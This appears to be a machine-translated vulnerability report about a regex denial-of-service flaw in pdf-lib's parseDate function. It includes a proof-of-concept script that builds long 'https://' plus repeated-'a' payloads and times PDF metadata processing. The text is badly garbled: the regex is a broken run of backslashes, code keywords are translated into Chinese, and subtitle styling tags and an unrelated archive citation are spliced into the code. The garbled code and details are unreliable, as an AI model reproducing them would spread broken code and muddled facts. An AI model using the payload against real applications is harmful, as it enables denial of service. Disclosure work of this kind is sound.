ReDoS 漏洞
作者: NinjaGPT创建于 2026年3月2日更新于 2026年3月2日
标签bugneeds-triage
你想怎样?
总结
在 pdf-lib 的 parseDate () 函数中存在 src/utils/ strings.ts 中的常规表达拒绝服务(ReDoS) 脆弱性. 日期Regex 模式包含可选择的嵌入组, 造成灾难 处理恶意输入字符串时返回跟踪。 攻击者可以手取能指数地增加CPU处理时间的有效载荷——为1024个字符以188ms表示,为4096个字符以704ms表示。 由于pdf-lib处理可能包含不可信用户输入的PDF元数据字段(标题,作者等),这种脆弱性可以被利用来导致使用库的应用程序拒绝服务.
-- -- . . .
细节
congex = /^D: (\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\\d\\\\\\d\d\\d\\\\\\\\\\d\d\\\d\\d\\\\\\\\d\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
导出 const parseDate = (dateStr: string): 日期QQ未定义QQ{
const match = dateStr. match(date Regex); (中文(简体) ).
如果(.匹配)返回未定义的;
针 [
, (中文(简体) ).
年份
一个月="01",
日数="01",
小时="00",
分钟="00",
秒 = '00' , (中文(简体) ).
页:1
页:1
页:1
= 匹配;
//http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15
Const tzOffset = (中文(简体) ).
${offsetSign}${offsetHours}:${offsetMins};
日期 = 新日期 (
${年份} - ${月份} - ${每天} T${小时} :${mins}:${秒} :${tzOffset},
(三)
返回日期;
* ;-- -- . . .
POC (英语).
const {PDFDocument}} = 需要 ('pdf-lib');
函数生成 redos paidload(长度){
前缀=“https://”;
cont 泵 = "a". repeat(长度);
后缀= "!";
返回前缀+泵+后缀;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
async 函数测量处理时间( 负载) {
Const start Time = performance. now (); (中文(简体) ).
尝试{
Const pdfDoc = 正在等待 PDFDocument.create ();
// 试图设置可能触发正则处理的元数据
pdfDoc.set Title(载荷);
pdfDoc.setAuthor(载荷);
pdfDoc.set Subject(载荷);
pdfDoc.set关键词([活口]);
pdfDoc.setCreator(载荷);
pdfDoc.set 制取器(载荷);
pdfDoc.setCreationDate(新日期 ()) ;
pdfDoc.set ModificationDate(新日期( ) );
/ 尝试保存文档以触发任何正则操作
等待 pdfDoc.save ();
捕捉(反射){
/ 请检查url=值 (帮助). 如果发生错误, 可能表示 DoS 尝试成功
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
const endTime = perform.now (); (原始内容存档于2019-09-30).
返回结束时间 - 开始时间;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
aync 函数主 () {
cont长度=4096;
c. 有效载荷=生成-再作-负载(长度);
c. 时间;
控制台.log( '时间成本: ${timeCost.toFixed(2)} ms' );
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
主 (. ) 捕获量( 错误) {{ {
a. 控制台. error (“ [FATAL] ”), 错误;
process.exit(1);
* ;** 产出:**
时间成本: 455.70毫秒
[INFO] 有效载荷长度1024,时间成本188.92
[INFO] 有效载荷
. . . . . . .内容来源: Hopding/pdf-lib